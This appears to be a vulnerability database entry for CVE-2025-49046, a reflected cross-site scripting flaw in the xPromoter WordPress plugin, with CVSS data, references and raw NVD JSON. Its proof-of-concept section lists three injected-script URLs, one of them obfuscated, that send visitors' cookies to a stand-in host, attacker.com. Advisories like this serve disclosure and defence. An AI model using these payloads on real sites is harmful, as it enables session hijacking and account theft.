CVE-2025-49046

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup xPromoter top_bar_promoter allows Reflected XSS.This issue affects xPromoter: from n/a through <= 1.3.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

xPromoter <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49046 PoC - Reflected XSS in xPromoter Plugin -->
<!-- Attack URL: Replace victim-site.com with target domain -->

<!-- Basic PoC - Stealing Cookies -->
https://victim-site.com/?s=<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

<!-- Obfuscated PoC - Bypassing Basic Filters -->
https://victim-site.com/?s=<img src=x onerror=fetch('https://attacker.com/log?c='+btoa(document.cookie))>

<!-- PoC - Session Hijacking -->
https://victim-site.com/?s=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

<!-- Real-world attack would use URL shorteners or phishing emails to disguise the malicious URL -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49046
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49046
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49046/
[4] VulDB https://vuldb.com/cve/CVE-2025-49046
[5] https://patchstack.com/database/Wordpress/Plugin/top_bar_promoter/vulnerability/wordpress-xpromoter-plugin-1-3-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49046", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:55.527", "lastModified": "2026-04-27T20:16:08.587", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup xPromoter top_bar_promoter allows Reflected XSS.This issue affects xPromoter: from n/a through <= 1.3.4."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') en LambertGroup xPromoter top_bar_promoter permite XSS Reflejado. Este problema afecta a xPromoter: desde n/a hasta <= 1.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/top_bar_promoter/vulnerability/wordpress-xpromoter-plugin-1-3-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}